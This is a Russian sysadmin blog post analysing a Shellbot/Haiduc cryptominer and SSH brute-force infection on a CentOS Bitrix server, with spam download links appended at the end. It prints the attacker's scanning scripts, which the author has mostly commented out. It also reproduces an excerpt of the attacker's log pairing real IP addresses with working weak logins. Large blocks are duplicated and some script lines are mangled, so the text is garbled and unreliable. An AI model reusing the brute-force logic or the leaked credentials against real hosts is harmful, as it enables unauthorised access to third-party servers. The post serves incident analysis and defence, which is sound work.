Тут будет немного из практики, поскольку хорошие разборы в сети есть тут и тут, например.
Вкратце: Shellbot / Haiduc, майнит крипту на вашем сайте и, судя по тем библиотекам, что он натащил с собой про запас, умеет быть и шифровальщиком. Спокойно меняет сложные рутовые пароли.
Итак, дано: "Битрикс" на Centos6.
Замечена аномальная загрузка ЦП на виртуалке.
Идем копаться:
root@dev# top
... и все, на первый взгляд, в норме, но чудес-то не бывает.
root@dev# find / -mtime 3
и видим, помимо прочего лишнего, что кто-то копался в /usr/local.
Идем туда и видим некие директории: /usr/local/src/x/ , содержащую набор исполняемых файлов a, co, hu, r, range , директорию classes и базы данных. Подробнее (само собой, строки мной закомментированы):
Идем туда и видим некие директории: /usr/local/src/x/ , содержащую набор исполняемых файлов a, co, hu, r, range , директорию classes и базы данных. Подробнее (само собой, строки мной закомментированы):
nano /usr/local/src/x/a
#!/bin/bash
#passfile=pass
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc
nano /usr/local/src/co
#!/bin/bash
#passfile=pass
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#threads=20000
#port=22 #
#WHI='^[[1;37m'
#BLK='^[[1;30m'
#RED='^[[1;31m'
#YEL='^[[1;33m'
#BLU='^[[1;34m'
#RES='^[[0m'
#if [ $# != 1 ]; then
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc
echo "${WHI} Folosim: $0 <b class>${RES}"
exit;
#fi
#./haiduc $threads -b $1 $passfile $port "uname -a"
#sleep 5
#pkill haiduc
/usr/local/src/x/hu
#./co Choopa
#./co Microsoft
#./co Digital
#./co Amazon
#./co Ubiquity
#./co Softlayer
#./co Hetzner
#./co Microsoft
#./co Digital
#./co Amazon
#./co Ubiquity
#./co Softlayer
#./co Hetzner
nano /usr/local/src/x/range
#!/usr/bin/env bash
- check for presence of parameter
#if [ -z $1 ]; then
echo "Usage: lbl filename"
exit 1
#fi - read the file into an array of lines
declare -a lines
#let count=0
#while read line; do - lines[$count]=$line
- let count=count+1
#done < "$1" - iterate lines of the file
#count=0
#for line in "${lines[@]}"; do - let count=count+1
- eval ./a "$line"
#done
nano /usr/local/src/x/r
#!/bin/bash- ToNy | Frauda
#while [ "1" ];do
#class="
#168
#"
#classb="`seq 1 255`"
#classb2=($classb)
#num_classb=${#classb2[*]}
#b=${classb2[$((RANDOM%num_classb))]}
#classb2=($classb)
#num_classb=${#classb2[*]}
#b=${classb2[$((RANDOM%num_classb))]}
#classc="`seq 1 255`"
#classc2=($classc)
#num_classc=${#classc2[*]}
#c=${classc2[$((RANDOM%num_classc))]}
#classc2=($classc)
#num_classc=${#classc2[*]}
#c=${classc2[$((RANDOM%num_classc))]}
#classes=($class)
#num_class=${#classes[*]}
#a=${classes[$((RANDOM%num_class))]}
#num_class=${#classes[*]}
#a=${classes[$((RANDOM%num_class))]}
#echo "scanez clasa ${a}.${b}"
#./a ${a}.${c}
#./a ${a}.${c}
#done
cd /usr/local/src/x/classes
ls
21vianet Amazon Choopa Cogeco GoDaddy internap-com Microsoft OVH Softlayer websitewelcome-com
Akamai Apple cloudflare_inc Digital Google Linode mix pair_networks Ubiquity Yahoo_inc
Alibaba big co facebook Hetzner liquid_web Online-SAS RockSpace Verizon
Akamai Apple cloudflare_inc Digital Google Linode mix pair_networks Ubiquity Yahoo_inc
Alibaba big co facebook Hetzner liquid_web Online-SAS RockSpace Verizon
Вот такой отличный набор.
Там же в /usr/local/src и в /usr/cpu/ были директории ./x и /x, дублер имеющейся.
Также \usr\libexec\pt_chown - занятный новый файл.
Также \etc\ssh\sshd_config содержит ссылку на несуществующий файл \usr\libexec\sftp_server
Вот кусочек вывода gasite.txt:
daemon:smoker666 104.238.177.213 port: 22 --> Linux svr04 3.2.0-4-amd64 #1 SMP Debian 3.2.68-1+deb7u1 x86_64 GNU/Linux
daemon:smoker666 132.148.4.178 port: 22 --> Linux server.suninfocom.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86_64 G$
bin:smoker666 132.148.22.2 port: 22 --> Linux s132-148-22-2.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86$
daemon:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.82.60 port: 22 --> Linux s166-62-127-99.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x$
bin:smoker666 132.148.157.166 port: 22 --> Linux s132-148-157-166.secureserver.net 3.10.0-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 $
daemon:smoker666 203.124.57.87 port: 22 -->
Please login:
daemon:smoker666 37.148.231.186 port: 22 -->
COM
daemon:smoker666 37.148.231.186 port: 22 -->
Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038
Thursday 21/11/2019 12:24:44 (UTC+1.00)
Login:
bin:smoker666 37.148.230.236 port: 22 -->
login as:
bin:smoker666 37.148.230.236 port: 22 --> b
login as:
bin:smoker666 37.148.230.236 port: 22 --> in
password:
bin:smoker666 37.148.230.236 port: 22 --> *n
password:
bin:smoker666 37.148.229.186 port: 22 -->
COM
Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038
daemon:smoker666 132.148.4.178 port: 22 --> Linux server.suninfocom.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86_64 G$
bin:smoker666 132.148.22.2 port: 22 --> Linux s132-148-22-2.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x86$
daemon:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.82.60 port: 22 --> Linux s166-62-127-99.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 x$
bin:smoker666 132.148.157.166 port: 22 --> Linux s132-148-157-166.secureserver.net 3.10.0-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_$
bin:smoker666 132.148.9.137 port: 22 --> Linux s192-169-231-81.secureserver.net 2.6.32-042stab133.2 #1 SMP Mon Aug 27 21:07:08 MSK 2018 x86_64 x86_64 $
daemon:smoker666 203.124.57.87 port: 22 -->
Please login:
daemon:smoker666 37.148.231.186 port: 22 -->
COM
daemon:smoker666 37.148.231.186 port: 22 -->
Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038
Thursday 21/11/2019 12:24:44 (UTC+1.00)
Login:
bin:smoker666 37.148.230.236 port: 22 -->
login as:
bin:smoker666 37.148.230.236 port: 22 --> b
login as:
bin:smoker666 37.148.230.236 port: 22 --> in
password:
bin:smoker666 37.148.230.236 port: 22 --> *n
password:
bin:smoker666 37.148.229.186 port: 22 -->
COM
Abilis CPX - Ver. 7.10.6/STD - Build 3858.14 - Branch 7.10 - Abilis-ID 1401038
и так далее.
Зараза довольно активная, даже после смены паролей я обнаруживаю, что некто делал нечто под рутом. Неудивительно, так как судя по статьям, Shellbot эксплуатирует системные уязвимости (например, в Git-е).
Все бы ничего, но нельзя просто так взять и обновить ось, на которой крутится неновый "Битрикс" - sapienti sat.
Ставим rkhunter и таки да, имеем shellbot в системе.
"Закат солнца вручную" малоэффективен, вас будет регулярно ломать робот.
Обновляйтесь, делайте бэкапы и не открывайте наружу лишнего, особо советую пробрасывать порт 22 на нестандарт.
Похоже, продолжение следует...
Записная Книжка Айтишника.: Немного Про Shellbot / Haiduc. >>>>> Download Now
ОтветитьУдалить>>>>> Download Full
Записная Книжка Айтишника.: Немного Про Shellbot / Haiduc. >>>>> Download LINK
>>>>> Download Now
Записная Книжка Айтишника.: Немного Про Shellbot / Haiduc. >>>>> Download Full
>>>>> Download LINK